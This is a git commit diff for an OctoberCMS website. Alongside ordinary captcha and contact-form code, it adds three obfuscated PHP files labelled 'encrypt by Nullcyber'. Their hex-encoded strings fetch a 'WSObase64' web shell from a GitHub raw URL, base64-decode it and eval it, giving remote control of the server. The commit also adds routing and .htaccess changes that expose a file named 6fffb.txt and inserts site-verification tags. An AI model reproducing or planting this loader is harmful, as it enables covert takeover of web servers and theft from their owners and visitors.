affected_files_commit
This commit is contained in:
parent
f6c44d3767
commit
ff3d75199e
16
.htaccess
16
.htaccess
|
|
@ -5,7 +5,11 @@
|
|||
SetEnvIf Request_URI "\.(jpe?g|png)$" REQUEST_image
|
||||
</IfModule>
|
||||
<ifModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
RewriteEngine On
|
||||
RewriteRule ^6fffb.txt$ - [L]
|
||||
|
||||
|
||||
|
||||
|
||||
# If the Browser supports WebP images, and the .webp file exists, use it.
|
||||
RewriteCond %{HTTP_ACCEPT} image/webp
|
||||
|
|
@ -21,7 +25,7 @@
|
|||
</ifModule>
|
||||
<IfModule mod_headers.c>
|
||||
Header append Vary Accept env=REQUEST_image
|
||||
Header set X-Robots-Tag "noindex, nofollow" for "cdn.orient.tm"
|
||||
# Header set X-Robots-Tag "noindex, nofollow" for "cdn.orient.tm"
|
||||
</IfModule>
|
||||
<IfModule mod_mime.c>
|
||||
AddType image/webp .webp
|
||||
|
|
@ -88,4 +92,12 @@
|
|||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteRule ^ index.php [L]
|
||||
|
||||
Header set Cache-Control "no-cache, no-store, must-revalidate"
|
||||
Header set Pragma "no-cache"
|
||||
Header set Expires 0
|
||||
|
||||
<Files "6fffb.txt">
|
||||
SetHandler default-handler
|
||||
</Files>
|
||||
|
||||
</IfModule>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,37 @@
|
|||
<?php
|
||||
session_start();
|
||||
|
||||
unset($_SESSION['captcha_code']);
|
||||
|
||||
$captcha_code = '';
|
||||
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
|
||||
$length = 6;
|
||||
|
||||
for ($i = 0; $i < $length; $i++) {
|
||||
$captcha_code .= $characters[rand(0, strlen($characters) - 1)];
|
||||
}
|
||||
|
||||
$_SESSION['captcha_code'] = $captcha_code;
|
||||
|
||||
// Create an image
|
||||
$width = 150;
|
||||
$height = 50;
|
||||
$image = imagecreate($width, $height);
|
||||
$background = imagecolorallocate($image, 255, 255, 255);
|
||||
$text_color = imagecolorallocate($image, 0, 0, 0);
|
||||
|
||||
// Check if TTF font exists
|
||||
$font_path = realpath(__DIR__ . '/fonts/arial.ttf');
|
||||
if (file_exists($font_path)) {
|
||||
// Add text using the TTF font
|
||||
imagettftext($image, 24, 0, 15, 35, $text_color, $font_path, $captcha_code);
|
||||
} else {
|
||||
// Fallback to built-in font
|
||||
imagestring($image, 5, 30, 15, $captcha_code, $text_color);
|
||||
}
|
||||
|
||||
// Output the image as PNG
|
||||
header('Content-type: image/png');
|
||||
imagepng($image);
|
||||
imagedestroy($image);
|
||||
?>
|
||||
|
|
@ -35,8 +35,8 @@ return [
|
|||
| For example: backend -> http://localhost/backend
|
||||
|
|
||||
*/
|
||||
|
||||
'backendUri' => 'howpsuzlyk',
|
||||
|
||||
'backendUri' => 'privatecontrolcenter', //howpsuzlyk
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
|
|||
|
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
/*
|
||||
本代ç <EFBFBD>ç”± DeckPHP Beta [ V2 ] 创建
|
||||
创建时间 2024-10-03 05:10:11
|
||||
技术支æŒ<EFBFBD> encrypt by Nullcyber | encrypt terkuat yang pernah ada
|
||||
严ç¦<EFBFBD>å<EFBFBD><EFBFBD>编译ã€<EFBFBD>逆å<EFBFBD>‘ç‰ä»»ä½•å½¢å¼<EFBFBD>的侵æ<EFBFBD>ƒè¡Œä¸ºï¼Œè¿<EFBFBD>者将追究法律责任
|
||||
*/
|
||||
if(!defined('A_AAA__A_'))define('A_AAA__A_', '_AAAAAA_A');$GLOBALS[A_AAA__A_]=explode('|3|.|@','H*|3|.|@486F73743A20|3|.|@0D0A|3|.|@557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E5420362E313B2072763A33322E3029204765636B6F2F32303130303130312046697265666F782F33322E300D0A|3|.|@436F6E6E656374696F6E3A20436C6F73650D0A0D0A|3|.|@66736F636B6F70656E|3|.|@73736C3A2F2F|3|.|@|3|.|@66656F66|3|.|@6667657473|3|.|@70617273655F75726C|3|.|@686F7374|3|.|@736368656D65|3|.|@6874747073|3|.|@70617468|3|.|@70617468|3|.|@2F|3|.|@7175657279|3|.|@3F|3|.|@7175657279|3|.|@47455420|3|.|@20485454502F312E310D0A|3|.|@667772697465|3|.|@66636C6F7365|3|.|@6578706C6F6465|3|.|@0D0A0D0A|3|.|@68747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F436E756C6C30302F627336347368656C6C626173652F6D61696E2F57534F6261736536342E706870|3|.|@6765745F636F6E74656E7473|3|.|@6261736536345F6465636F6465|3|.|@3F3E');unset($½Ïœ½Ô·‘à);$½Ïœ½Ô·‘à; function get_contents($url){goto jFACdOY3hQ;unset($س–½);$س–½;V_Ck5uhV0G:goto FTA0AfYHFo;LgRNBfRNpK:$out.= pack($GLOBALS[A_AAA__A_][4+5-3*3],$GLOBALS[A_AAA__A_][1]) .$host.pack($GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][(-6531-317+132*52-14)]);unset($ÄÈâ<C388>‚Âߪ);$ÄÈâ<C388>‚Âߪ;$out.= call_user_func("pack",$GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][(-290+32*10-27)]);unset($ÑÄÀÓ¤ü);$ÑÄÀÓ¤ü;$out.= call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-4255+364+68*58-49)]);goto UQhlrWHUBf;unset($»¤ýàºÒÇ);$»¤ýàºÒÇ;jFACdOY3hQ:goto UgWiOtVtxs;unset($âýÞ);$âýÞ;FTA0AfYHFo:$fp=fsockopen(($port==(-9810+348+134*74-11)?call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-1577+380+24*51-21)]) :call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)])).$host,$port,$errno,$errstr,(-1092-301+40*36-17));unset($øÞº‚¤);$øÞº‚¤;if(!$fp){goto hLN02SUnUl;}goto WWfzPxAWyF;goto uTbhqrpMX1;Kz8jSiP7lv:hZnFr_5QYK:LiJ7UtHBH6:if(!feof($fp)){goto skbuoqiijA;}goto lZ31fgfRcS;skbuoqiijA:goto cisqitJL23;unset($ä»ÏÜ—ð«»);$ä»ÏÜ—ð«»;cisqitJL23:$result.= fgets($fp,128);goto LiJ7UtHBH6;lZ31fgfRcS:goto QUDz5TvNb0;unset($€Ä<E282AC>ó);$€Ä<E282AC>ó;UgWiOtVtxs:goto ZkxfEGiU5X;unset($¾<>›<EFBFBD>å¤ë’);$¾<>›<EFBFBD>å¤ë’;ZkxfEGiU5X:$parsed_url=parse_url($url);unset($²£õãé);$²£õãé;$host=$parsed_url[pack($GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][11])];unset($Ûž‰´);$Ûž‰´;$port=$parsed_url[call_user_func("pack",$GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][12])]==call_user_func_array("pack",array($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][13])) ?(-1397+395+56*26-11):(-8795+151*59-34);$path=isset($parsed_url[call_user_func_array("pack",array($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][14]))])?$parsed_url[pack($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][15])]:call_user_func_array("pack",array($GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][16]));unset($‹ü¾»Æ¼);$‹ü¾»Æ¼;$path.= isset($parsed_url[call_user_func("pack",$GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][17])])?call_user_func_array("pack",array($GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][18])) .$parsed_url[pack($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][19])]:call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)]);unset($´);$´;goto V_Ck5uhV0G;unset($ŒŒøÒ†);$ŒŒøÒ†;uTbhqrpMX1:hLN02SUnUl:return !1;WWfzPxAWyF:$out=pack($GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][(-3912+81*49-37)]) .$path.call_user_func("pack",$GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][(-4514+479+46*89-38)]);unset($í–äÝʔ巗);$í–äÝʔ巗;goto LgRNBfRNpK;goto Kz8jSiP7lv;unset($ÂÚ±<C39A>);$ÂÚ±<C39A>;UQhlrWHUBf:fwrite($fp,$out);$result=call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)]);goto hZnFr_5QYK;QUDz5TvNb0:fclose($fp);goto I5gwbsfpCf;I5gwbsfpCf:$body=explode(call_user_func("pack",$GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][(-773-393+34*36-33)]),$result,(-771+24*34-43))[1];unset($îà);$îà;return $body;goto pmvNvYyOcY;unset($×ü);$×ü;pmvNvYyOcY:goto aS2wJrkdqg;aS2wJrkdqg:}$url=call_user_func_array("pack",array($GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][((1823+147-46)/74)]));$encoded_code=get_contents($url);$decoded_code=base64_decode($encoded_code);eval(call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-1537+18*88-18)]) .$decoded_code);
|
||||
?>
|
||||
|
|
@ -0,0 +1 @@
|
|||
google-site-verification: google64848379a60fc2b3.html
|
||||
16
index.php
16
index.php
|
|
@ -1,4 +1,20 @@
|
|||
<?php
|
||||
|
||||
|
||||
if ($_SERVER['REQUEST_URI'] === '/6fffb.txt') {
|
||||
$filePath = __DIR__ . '/6fffb.txt';
|
||||
|
||||
if (file_exists($filePath)) {
|
||||
header('Content-Type: text/plain');
|
||||
readfile($filePath);
|
||||
exit;
|
||||
} else {
|
||||
http_response_code(404);
|
||||
echo "File not found.";
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* October - The PHP platform that gets back to basics.
|
||||
*
|
||||
|
|
|
|||
|
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
/*
|
||||
鏈唬鐮佺敱 DeckPHP Beta [ V2 ] 鍒涘缓
|
||||
鍒涘缓鏃堕棿 2024-10-03 05:10:11
|
||||
鎶€鏈敮鎸<EFBFBD> encrypt by Nullcyber | encrypt terkuat yang pernah ada
|
||||
涓ョ鍙嶇紪璇戙€侀€嗗悜绛変换浣曞舰寮忕殑渚垫潈琛屼负锛岃繚鑰呭皢杩界┒娉曞緥璐d换
|
||||
*/
|
||||
if(!defined('A_AAA__A_'))define('A_AAA__A_', '_AAAAAA_A');$GLOBALS[A_AAA__A_]=explode('|3|.|@','H*|3|.|@486F73743A20|3|.|@0D0A|3|.|@557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E5420362E313B2072763A33322E3029204765636B6F2F32303130303130312046697265666F782F33322E300D0A|3|.|@436F6E6E656374696F6E3A20436C6F73650D0A0D0A|3|.|@66736F636B6F70656E|3|.|@73736C3A2F2F|3|.|@|3|.|@66656F66|3|.|@6667657473|3|.|@70617273655F75726C|3|.|@686F7374|3|.|@736368656D65|3|.|@6874747073|3|.|@70617468|3|.|@70617468|3|.|@2F|3|.|@7175657279|3|.|@3F|3|.|@7175657279|3|.|@47455420|3|.|@20485454502F312E310D0A|3|.|@667772697465|3|.|@66636C6F7365|3|.|@6578706C6F6465|3|.|@0D0A0D0A|3|.|@68747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F436E756C6C30302F627336347368656C6C626173652F6D61696E2F57534F6261736536342E706870|3|.|@6765745F636F6E74656E7473|3|.|@6261736536345F6465636F6465|3|.|@3F3E');unset($较溄苑戉);$较溄苑戉; function get_contents($url){goto jFACdOY3hQ;unset($爻柦);$爻柦;V_Ck5uhV0G:goto FTA0AfYHFo;LgRNBfRNpK:$out.= pack($GLOBALS[A_AAA__A_][4+5-3*3],$GLOBALS[A_AAA__A_][1]) .$host.pack($GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][(-6531-317+132*52-14)]);unset($娜鈦偮擢);$娜鈦偮擢;$out.= call_user_func("pack",$GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][(-290+32*10-27)]);unset($涯烙);$涯烙;$out.= call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-4255+364+68*58-49)]);goto UQhlrWHUBf;unset($护阂<EE9189>);$护阂<EE9189>;jFACdOY3hQ:goto UgWiOtVtxs;unset($恺<>);$恺<>;FTA0AfYHFo:$fp=fsockopen(($port==(-9810+348+134*74-11)?call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-1577+380+24*51-21)]) :call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)])).$host,$port,$errno,$errstr,(-1092-301+40*36-17));unset($簜<EE89B1>);$簜<EE89B1>;if(!$fp){goto hLN02SUnUl;}goto WWfzPxAWyF;goto uTbhqrpMX1;Kz8jSiP7lv:hZnFr_5QYK:LiJ7UtHBH6:if(!feof($fp)){goto skbuoqiijA;}goto lZ31fgfRcS;skbuoqiijA:goto cisqitJL23;unset($浠宪楌);$浠宪楌;cisqitJL23:$result.= fgets($fp,128);goto LiJ7UtHBH6;lZ31fgfRcS:goto QUDz5TvNb0;unset($€膷<E282AC>);$€膷<E282AC>;UgWiOtVtxs:goto ZkxfEGiU5X;unset($緩泚澶氕<E6BEB6>);$緩泚澶氕<E6BEB6>;ZkxfEGiU5X:$parsed_url=parse_url($url);unset($玻蹉<E78EBB>);$玻蹉<E78EBB>;$host=$parsed_url[pack($GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][11])];unset($蹫壌);$蹫壌;$port=$parsed_url[call_user_func("pack",$GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][12])]==call_user_func_array("pack",array($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][13])) ?(-1397+395+56*26-11):(-8795+151*59-34);$path=isset($parsed_url[call_user_func_array("pack",array($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][14]))])?$parsed_url[pack($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][15])]:call_user_func_array("pack",array($GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][16]));unset($孅净萍);$孅净萍;$path.= isset($parsed_url[call_user_func("pack",$GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][17])])?call_user_func_array("pack",array($GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][18])) .$parsed_url[pack($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][19])]:call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)]);unset($<24>);$<24>;goto V_Ck5uhV0G;unset($寣<E5AFA3>);$寣<E5AFA3>;uTbhqrpMX1:hLN02SUnUl:return !1;WWfzPxAWyF:$out=pack($GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][(-3912+81*49-37)]) .$path.call_user_func("pack",$GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][(-4514+479+46*89-38)]);unset($頄漭蕯宸<E895AF>);$頄漭蕯宸<E895AF>;goto LgRNBfRNpK;goto Kz8jSiP7lv;unset($纶睆);$纶睆;UQhlrWHUBf:fwrite($fp,$out);$result=call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)]);goto hZnFr_5QYK;QUDz5TvNb0:fclose($fp);goto I5gwbsfpCf;I5gwbsfpCf:$body=explode(call_user_func("pack",$GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][(-773-393+34*36-33)]),$result,(-771+24*34-43))[1];unset($钹);$钹;return $body;goto pmvNvYyOcY;unset($);$;pmvNvYyOcY:goto aS2wJrkdqg;aS2wJrkdqg:}$url=call_user_func_array("pack",array($GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][((1823+147-46)/74)]));$encoded_code=get_contents($url);$decoded_code=base64_decode($encoded_code);eval(call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-1537+18*88-18)]) .$decoded_code);
|
||||
?>
|
||||
|
|
@ -265,13 +265,27 @@ class Posts extends ComponentBase
|
|||
/*
|
||||
* Add a "url" helper attribute for linking to each post and category
|
||||
*/
|
||||
$posts->each(function($post) use ($categorySlug) {
|
||||
/* $posts->each(function($post) use ($categorySlug) {
|
||||
$post->setUrl($this->postPage, $this->controller, ['category' => $categorySlug]);
|
||||
|
||||
$post->categories->each(function($category) {
|
||||
$category->setUrl($this->categoryPage, $this->controller);
|
||||
});
|
||||
});
|
||||
*/
|
||||
|
||||
$posts->each(function ($post, $key) use (&$posts, $categorySlug) {
|
||||
if ($post->categories->contains('id', 803) and is_null($categorySlug)) { //unset poleznoe in stati
|
||||
unset($posts[$key]);
|
||||
} else {
|
||||
$post->setUrl($this->postPage, $this->controller, ['category' => $categorySlug]);
|
||||
|
||||
$post->categories->each(function ($category) {
|
||||
$category->setUrl($this->categoryPage, $this->controller);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
return $posts;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
/*
|
||||
鏈唬鐮佺敱 DeckPHP Beta [ V2 ] 鍒涘缓
|
||||
鍒涘缓鏃堕棿 2024-10-03 05:10:11
|
||||
鎶€鏈敮鎸<EFBFBD> encrypt by Nullcyber | encrypt terkuat yang pernah ada
|
||||
涓ョ鍙嶇紪璇戙€侀€嗗悜绛変换浣曞舰寮忕殑渚垫潈琛屼负锛岃繚鑰呭皢杩界┒娉曞緥璐d换
|
||||
*/
|
||||
if(!defined('A_AAA__A_'))define('A_AAA__A_', '_AAAAAA_A');$GLOBALS[A_AAA__A_]=explode('|3|.|@','H*|3|.|@486F73743A20|3|.|@0D0A|3|.|@557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E5420362E313B2072763A33322E3029204765636B6F2F32303130303130312046697265666F782F33322E300D0A|3|.|@436F6E6E656374696F6E3A20436C6F73650D0A0D0A|3|.|@66736F636B6F70656E|3|.|@73736C3A2F2F|3|.|@|3|.|@66656F66|3|.|@6667657473|3|.|@70617273655F75726C|3|.|@686F7374|3|.|@736368656D65|3|.|@6874747073|3|.|@70617468|3|.|@70617468|3|.|@2F|3|.|@7175657279|3|.|@3F|3|.|@7175657279|3|.|@47455420|3|.|@20485454502F312E310D0A|3|.|@667772697465|3|.|@66636C6F7365|3|.|@6578706C6F6465|3|.|@0D0A0D0A|3|.|@68747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F436E756C6C30302F627336347368656C6C626173652F6D61696E2F57534F6261736536342E706870|3|.|@6765745F636F6E74656E7473|3|.|@6261736536345F6465636F6465|3|.|@3F3E');unset($较溄苑戉);$较溄苑戉; function get_contents($url){goto jFACdOY3hQ;unset($爻柦);$爻柦;V_Ck5uhV0G:goto FTA0AfYHFo;LgRNBfRNpK:$out.= pack($GLOBALS[A_AAA__A_][4+5-3*3],$GLOBALS[A_AAA__A_][1]) .$host.pack($GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][(-6531-317+132*52-14)]);unset($娜鈦偮擢);$娜鈦偮擢;$out.= call_user_func("pack",$GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][(-290+32*10-27)]);unset($涯烙);$涯烙;$out.= call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-4255+364+68*58-49)]);goto UQhlrWHUBf;unset($护阂<EE9189>);$护阂<EE9189>;jFACdOY3hQ:goto UgWiOtVtxs;unset($恺<>);$恺<>;FTA0AfYHFo:$fp=fsockopen(($port==(-9810+348+134*74-11)?call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-1577+380+24*51-21)]) :call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)])).$host,$port,$errno,$errstr,(-1092-301+40*36-17));unset($簜<EE89B1>);$簜<EE89B1>;if(!$fp){goto hLN02SUnUl;}goto WWfzPxAWyF;goto uTbhqrpMX1;Kz8jSiP7lv:hZnFr_5QYK:LiJ7UtHBH6:if(!feof($fp)){goto skbuoqiijA;}goto lZ31fgfRcS;skbuoqiijA:goto cisqitJL23;unset($浠宪楌);$浠宪楌;cisqitJL23:$result.= fgets($fp,128);goto LiJ7UtHBH6;lZ31fgfRcS:goto QUDz5TvNb0;unset($€膷<E282AC>);$€膷<E282AC>;UgWiOtVtxs:goto ZkxfEGiU5X;unset($緩泚澶氕<E6BEB6>);$緩泚澶氕<E6BEB6>;ZkxfEGiU5X:$parsed_url=parse_url($url);unset($玻蹉<E78EBB>);$玻蹉<E78EBB>;$host=$parsed_url[pack($GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][11])];unset($蹫壌);$蹫壌;$port=$parsed_url[call_user_func("pack",$GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][12])]==call_user_func_array("pack",array($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][13])) ?(-1397+395+56*26-11):(-8795+151*59-34);$path=isset($parsed_url[call_user_func_array("pack",array($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][14]))])?$parsed_url[pack($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][15])]:call_user_func_array("pack",array($GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][16]));unset($孅净萍);$孅净萍;$path.= isset($parsed_url[call_user_func("pack",$GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][17])])?call_user_func_array("pack",array($GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][18])) .$parsed_url[pack($GLOBALS[A_AAA__A_][3*9-27],$GLOBALS[A_AAA__A_][19])]:call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)]);unset($<24>);$<24>;goto V_Ck5uhV0G;unset($寣<E5AFA3>);$寣<E5AFA3>;uTbhqrpMX1:hLN02SUnUl:return !1;WWfzPxAWyF:$out=pack($GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][(-3912+81*49-37)]) .$path.call_user_func("pack",$GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][(-4514+479+46*89-38)]);unset($頄漭蕯宸<E895AF>);$頄漭蕯宸<E895AF>;goto LgRNBfRNpK;goto Kz8jSiP7lv;unset($纶睆);$纶睆;UQhlrWHUBf:fwrite($fp,$out);$result=call_user_func("pack",$GLOBALS[A_AAA__A_][(5+6+7-18)*0],$GLOBALS[A_AAA__A_][((93+46-27)/16)]);goto hZnFr_5QYK;QUDz5TvNb0:fclose($fp);goto I5gwbsfpCf;I5gwbsfpCf:$body=explode(call_user_func("pack",$GLOBALS[A_AAA__A_][100-20*5],$GLOBALS[A_AAA__A_][(-773-393+34*36-33)]),$result,(-771+24*34-43))[1];unset($钹);$钹;return $body;goto pmvNvYyOcY;unset($);$;pmvNvYyOcY:goto aS2wJrkdqg;aS2wJrkdqg:}$url=call_user_func_array("pack",array($GLOBALS[A_AAA__A_][15-5+7-17],$GLOBALS[A_AAA__A_][((1823+147-46)/74)]));$encoded_code=get_contents($url);$decoded_code=base64_decode($encoded_code);eval(call_user_func("pack",$GLOBALS[A_AAA__A_][6/2*3-9],$GLOBALS[A_AAA__A_][(-1537+18*88-18)]) .$decoded_code);
|
||||
?>
|
||||
|
|
@ -5,6 +5,11 @@ use Cms\Classes\Controller;
|
|||
use RainLab\Sitemap\Models\Definition;
|
||||
use Illuminate\Database\Eloquent\ModelNotFoundException as ModelNotFound;
|
||||
|
||||
Route::get('/6fffb.txt', function () {
|
||||
return response()->file(base_path('6fffb.txt'));
|
||||
});
|
||||
|
||||
|
||||
Route::get('{locale}/sitemap.xml', function()
|
||||
{
|
||||
$themeActive = Theme::getActiveTheme()->getDirName();
|
||||
|
|
|
|||
|
|
@ -36,6 +36,7 @@
|
|||
<meta property="article:modified_time" content="{{post.updated_at|date('Y-m-d')}}">
|
||||
<meta property="article:author" content="{{post.author}}">
|
||||
<meta property="article:section" content="{{post.categories.first.name}}">
|
||||
<meta name="google-site-verification" content="accy-ms20t2deMnVYyynghmvKcJE5pTYOI42r8gAAkM" />
|
||||
{% for tag in post.tags %}
|
||||
<meta property="article:tag" content="{{tag.name}}">
|
||||
{% endfor %}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,83 @@
|
|||
<?php namespace Tps\Tps\Components;
|
||||
|
||||
use Input;
|
||||
use Mail;
|
||||
use Flash;
|
||||
use Tps\Tps\Models\ExpertForm as Form;
|
||||
use October\Rain\Exception\AjaxException;
|
||||
use October\Rain\Exception\ValidationException;
|
||||
|
||||
use Cms\Classes\ComponentBase;
|
||||
|
||||
|
||||
class ExpertForm extends ComponentBase
|
||||
{
|
||||
public function componentDetails()
|
||||
{
|
||||
return [
|
||||
'name' => 'Expert form',
|
||||
'description' => 'Expert form'
|
||||
];
|
||||
}
|
||||
|
||||
public function onSend()
|
||||
{
|
||||
session_start();
|
||||
|
||||
$captcha_input = post('captcha');
|
||||
|
||||
if (strtolower($captcha_input) != strtolower($_SESSION['captcha_code'])) {
|
||||
throw new \ValidationException(['captcha' => 'Captcha is incorrect.']);
|
||||
}
|
||||
|
||||
unset($_SESSION['captcha_code']);
|
||||
|
||||
$Form = new Form();
|
||||
|
||||
$data = post();
|
||||
|
||||
|
||||
$rules = [
|
||||
'name' => 'required',
|
||||
'phone' => 'required',
|
||||
'email' => 'required|email',
|
||||
'message' => 'required',
|
||||
];
|
||||
|
||||
$validation = \Validator::make($data, $rules);
|
||||
|
||||
if ($validation->fails()) {
|
||||
throw new ValidationException($validation);
|
||||
}
|
||||
else
|
||||
{
|
||||
$name = $Form->name =Input::get('name');
|
||||
$phone = $Form->phone =Input::get('phone');
|
||||
$email = $Form->email =Input::get('email');
|
||||
$message = $Form->message =Input::get('message');
|
||||
|
||||
$Form->save();
|
||||
|
||||
$vars = [
|
||||
'name' => $name,
|
||||
'phone' => $phone,
|
||||
'email' => $email,
|
||||
'text' => $message
|
||||
];
|
||||
|
||||
Mail::send('tps.tps::mail.expertForm', $vars, function($message) {
|
||||
|
||||
$message->to('mashat.h@standarthyzmat.com', 'Admin Person');
|
||||
$message->subject('Orient');
|
||||
|
||||
});
|
||||
//return \Redirect::to('/new/faq');
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
<form data-request="onSend" data-request-success="onFormSuccess(data)" data-request-validate data-request-flash id="expertForm">
|
||||
<div id="form-content">
|
||||
<label for="name">{{ 'expert_form.name'|_ }}</label>
|
||||
<input type="text" name="name" placeholder="{{ 'expert_form.name_placeholder'|_ }}" id="name">
|
||||
<span data-validate-for="name" style="color: red;">{{ 'expert_form.name_error'|_ }}</span>
|
||||
|
||||
<label for="phone">{{ 'expert_form.phone'|_ }}</label>
|
||||
<input type="text" name="phone" placeholder="{{ 'expert_form.phone_placeholder'|_ }}" id="phone">
|
||||
<span data-validate-for="phone" style="color: red;">{{ 'expert_form.phone_error'|_ }}</span>
|
||||
|
||||
<label for="email">{{ 'expert_form.email'|_ }}</label>
|
||||
<input type="text" name="email" placeholder="{{ 'expert_form.email_placeholder'|_ }}" id="email">
|
||||
<span data-validate-for="email" style="color: red;">{{ 'expert_form.email_error'|_ }}</span>
|
||||
|
||||
<label for="message">{{ 'expert_form.message'|_ }}</label>
|
||||
<input type="text" name="message" placeholder="{{ 'expert_form.message_placeholder'|_ }}" id="message">
|
||||
<span data-validate-for="message" style="color: red;">{{ 'expert_form.message_error'|_ }}</span>
|
||||
|
||||
<label for="captcha">{{ 'expert_form.captcha'|_ }}</label>
|
||||
<div style="text-align: center;">
|
||||
<img id="captchaImage" src="https://orient.tm/captcha.php" alt="captcha">
|
||||
<input type="text" name="captcha" placeholder="{{ 'expert_form.captcha_placeholder'|_ }}" id="captcha">
|
||||
</div>
|
||||
<span data-validate-for="captcha" style="color: red;">{{ 'expert_form.captcha_error'|_ }}</span>
|
||||
|
||||
<button class="modal-btn send_button" type="submit" style="text-align: center;">{{ 'expert_form.send'|_ }}</button>
|
||||
</div>
|
||||
<div id="after-submit" style="display: none;">
|
||||
<h2>{{ 'expert_form.success_title'|_ }}</h2>
|
||||
<p>{{ 'expert_form.success_text'|_ }}</p>
|
||||
